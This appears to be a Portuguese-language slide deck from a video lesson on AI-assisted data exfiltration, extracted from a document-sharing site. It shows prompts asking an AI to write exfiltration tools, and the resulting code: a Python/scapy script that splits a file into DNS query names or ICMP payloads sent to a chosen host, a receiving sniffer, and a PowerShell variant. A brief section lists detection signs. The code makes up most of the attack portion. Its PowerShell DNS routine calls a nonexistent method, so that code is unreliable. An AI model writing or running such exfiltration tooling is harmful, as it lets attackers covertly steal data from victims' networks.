Você está na página 1de 28

Vídeo aula

Exfiltração de
Inteligência Artificial
dados com IA
O avanço da Inteligência artificial tem ajudado muitos Exfiltração de Dados
profissionais de Cyber Segurança no desenvolvimento
de suas atividades, porém, nem todos os profissionais
atuam com foco na defesa.
Página 2 de 27

Vídeo

https://www.youtube.com/watch?v=teKIclsxvE0
Página 3 de 27

Inteligência Artificial

A inteligência artificial (IA) tem desempenhado um


papel cada vez mais importante na área da segurança
da informação. Ela é aplicada em diversos aspectos,
desde a detecção de ameaças até a prevenção de
ataques cibernéticos.
Página 4 de 27

Inteligência Artificial

Porém, no cenário
de Cyber Segurança
não temos apenas
os profissionais de
defesa...

O que pode
acontecer quando a
Inteligência Artificial
é utilizada pelo
Cyber Crime
Página 5 de 27

Pedindo para criar um exfiltrador de dados em ICMP e DNS

Preciso criar um script


em python que
possibilite o envio dos
dados de um arquivo
em um payload DNS ou
ICMP. Essas
informações devem ser
passadas por
parâmetros, necessário
um parâmetro para
apontar o arquivo
enviado e o host de
destino
Página 6 de 27

Pedindo para criar um exfiltrador de dados em ICMP e DNS


Página 7 de 27

Pedindo para criar um exfiltrador de dados em ICMP e DNS

import sys
from scapy.all import *
PACKET_SIZE = 1024 # Tamanho máximo do pacote
def send_dns_payload(data, dest_host):
num_packets = (len(data) + PACKET_SIZE - 1) // PACKET_SIZE # Calcula o número de
pacotes necessários
for i in range(num_packets):
start = i * PACKET_SIZE
end = start + PACKET_SIZE
payload = data[start:end]
dns_packet = IP(dst=dest_host) / UDP() / DNS(rd=1, qd=DNSQR(qname=payload))
send(dns_packet)
def send_icmp_payload(data, dest_host):
num_packets = (len(data) + PACKET_SIZE - 1) // PACKET_SIZE # Calcula o número de
pacotes necessários
for i in range(num_packets):
start = i * PACKET_SIZE
end = start + PACKET_SIZE
payload = data[start:end]
icmp_packet = IP(dst=dest_host) / ICMP() / payload
send(icmp_packet)
if __name__ == '__main__':
if len(sys.argv) != 4:
print('Uso: python script.py <caminho_do_arquivo> <host_destino> <tipo_envio>')
print('Tipos de envio disponíveis: dns, icmp')
sys.exit(1)
file_path = sys.argv[1]
dest_host = sys.argv[2]
send_type = sys.argv[3]
with open(file_path, 'rb') as file:
data = file.read()
if send_type == 'dns':
send_dns_payload(data, dest_host)
elif send_type == 'icmp':
send_icmp_payload(data, dest_host)
else:
print('Tipo de envio inválido. Tipos disponíveis: dns, icmp')
Página 8 de 27

Pedindo para criar um exfiltrador de dados em ICMP e DNS

Agora vamos configurar nossa máquina atacante para


receber os pacotes
Página 9 de 27

Pedindo para criar um exfiltrador de dados em ICMP e DNS

Crie um script para


interceptar os dados
que foram enviados,
lembrando que podem
ser recebidos vários
pacotes. O script deve
também receber o
parâmetro de qual tipo
de arquivo será enviado
Página 10 de 27

Pedindo para criar um exfiltrador de dados em ICMP e DNS

import sys
from scapy.all import *

def sniff_packets(send_type):
def process_packet(packet):
if send_type == 'dns':
if DNS in packet and packet[DNS].opcode == 0: # Verifica se é
um pacote DNS de resposta
payload = packet[DNSQR].qname.decode()
if payload.endswith('.'):
payload = payload[:-1]
print(f'Dados recebidos: {payload}')

elif send_type == 'icmp':


if ICMP in packet: # Verifica se é um pacote ICMP
payload = packet.load.decode()
print(f'Dados recebidos: {payload}')

sniff(prn=process_packet)

if __name__ == '__main__':
if len(sys.argv) != 2:
print('Uso: python script.py <tipo_envio>')
print('Tipos de envio disponíveis: dns, icmp')
sys.exit(1)

send_type = sys.argv[1]

sniff_packets(send_type)
Página 11 de 27

Pedindo para criar um exfiltrador de dados em ICMP e DNS


Página 12 de 27

Pedindo para criar um exfiltrador de dados em ICMP e DNS


Página 13 de 27

Identificação do Ataque

Agora utilizaremos também a Inteligência Artificial para


identificação deste tipo de ataque.
Página 14 de 27

Pedindo para criar um exfiltrador de dados em ICMP e DNS

Como um profissional
de segurança, é
possível identificar esta
transferência de dados?
Qual comportamento
anormal este tipo de
transferência poderia
alertar?
Página 15 de 27

Identificação do Ataque

Tráfego incomum: A transferência de grandes


quantidades de dados por meio dos protocolos DNS ou
ICMP pode gerar um volume significativo de tráfego na
rede. O monitoramento da largura de banda ou a
detecção de picos incomuns no tráfego podem
levantar suspeitas.
Página 16 de 27

Identificação do Ataque

Padrões de tráfego anômalos: Durante a análise do


tráfego de rede, podem ser observados padrões
incomuns, como uma alta frequência de consultas
DNS, tráfego ICMP de tamanho anormal ou tráfego
DNS/ICMP originado de fontes não usuais. Esses
padrões podem indicar tentativas de transferência de
dados.
Página 17 de 27

Identificação do Ataque

Comportamento suspeito dos hosts envolvidos: Os


hosts envolvidos na transferência de dados podem
exibir comportamentos suspeitos, como uma alta taxa
de consultas DNS, respostas DNS com nomes de
domínio incomuns ou envio de pacotes ICMP de forma
incomum ou não condizente com seu comportamento
típico.
Página 18 de 27

Identificação do Ataque

Dados sensíveis em pacotes DNS ou ICMP: Durante a


análise dos pacotes capturados, pode-se identificar
tráfego de dados sensíveis contidos nos campos
relevantes, como QNAME para pacotes DNS ou carga
útil (payload) para pacotes ICMP. Essa análise pode
revelar informações que estão sendo transferidas e
auxiliar na identificação de atividades anômalas.
Página 19 de 27

Identificação do Ataque

É importante ressaltar que a identificação de


comportamentos anormais requer um bom
entendimento dos padrões de tráfego normal da rede.
Monitorar, analisar e correlacionar eventos de rede
usando ferramentas de segurança adequadas pode
ajudar na detecção de transferências de dados não
usuais ou potencialmente maliciosas.
Página 20 de 27

Identificação do Ataque

Além disso, o uso de soluções de detecção de intrusão


(IDS/IPS), firewalls avançados e sistemas de prevenção
de perda de dados (DLP) pode fortalecer a capacidade
de identificar e mitigar essas transferências de dados
indesejadas ou maliciosas.
Página 21 de 27

Analisando o fluxo de dados com o Wireshark - DNS


Página 22 de 27

Analisando o fluxo de dados com o Wireshark - ICMP


Página 23 de 27

Pedindo para criar um exfiltrador de dados em ICMP via PowerShell

Reproduziremos o ataque porém agora em powershell


Página 24 de 27

Pedindo para criar um exfiltrador de dados em ICMP e DNS

Preciso criar um script em


powershell que possibilite
o envio dos dados de um
arquivo em um payload
ICMP. Essas informações
devem ser passadas por
parâmetros, necessário
também um outro
parâmetro para apontar o
arquivo enviado e o host
de destino. Caso o arquivo
seja muito grande, será
necessário o envio de mais
pacotes.
Página 25 de 27

Pedindo para criar um exfiltrador de dados em ICMP e DNS

param (
[Parameter(Mandatory=$true)]
[ValidateSet('dns', 'icmp')]
[string]$SendType,
[Parameter(Mandatory=$true)]
[string]$FilePath,
[Parameter(Mandatory=$true)]
[string]$DestinationHost
)
$packetSize = 1024 # Tamanho máximo do pacote
function Send-DnsPayload {
param (
[byte[]]$data,
[string]$destHost
)
$numPackets = [Math]::Ceiling($data.Length / $packetSize) # Calcula o número de pacotes
necessários
for ($i = 0; $i -lt $numPackets; $i++) {
$start = $i * $packetSize
$end = $start + $packetSize

$payload = $data[$start..($end - 1)]


$base64Payload = [Convert]::ToBase64String($payload)
$dnsPacket = New-Object -TypeName System.Net.Dns
$dnsPacket.Send($base64Payload, $destHost)
}
}
function Send-IcmpPayload {
param (
[byte[]]$data,
[string]$destHost
)

$numPackets = [Math]::Ceiling($data.Length / $packetSize) # Calcula o número de pacotes


necessários

for ($i = 0; $i -lt $numPackets; $i++) {


$start = $i * $packetSize
$end = $start + $packetSize

$payload = $data[$start..($end - 1)]


$icmpPacket = New-Object -TypeName System.Net.NetworkInformation.Ping
$icmpPacket.Send($destHost, 2700, $payload)
}
}

# Carrega o arquivo em uma matriz de bytes


$fileBytes = [System.IO.File]::ReadAllBytes($FilePath)

if ($SendType -eq 'dns') {


Send-DnsPayload -data $fileBytes -destHost $DestinationHost
}
elseif ($SendType -eq 'icmp') {
Send-IcmpPayload -data $fileBytes -destHost $DestinationHost
}
Página 26 de 27

Utilizaremos o mesmo script anterior para capturar a informação

import sys
from scapy.all import *

def sniff_packets(send_type):
def process_packet(packet):
if send_type == 'dns':
if DNS in packet and packet[DNS].opcode == 0: #
Verifica se é um pacote DNS de resposta
payload = packet[DNSQR].qname.decode()
if payload.endswith('.'):
payload = payload[:-1]
print(f'Dados recebidos: {payload}')

elif send_type == 'icmp':


if ICMP in packet: # Verifica se é um pacote ICMP
payload = packet.load.decode()
print(f'Dados recebidos: {payload}')

sniff(prn=process_packet)

if __name__ == '__main__':
if len(sys.argv) != 2:
print('Uso: python script.py <tipo_envio>')
print('Tipos de envio disponíveis: dns, icmp')
sys.exit(1)

send_type = sys.argv[1]
sniff_packets(send_type)
Página 27 de 27

Pedindo para criar um exfiltrador de dados em ICMP e DNS

Você também pode gostar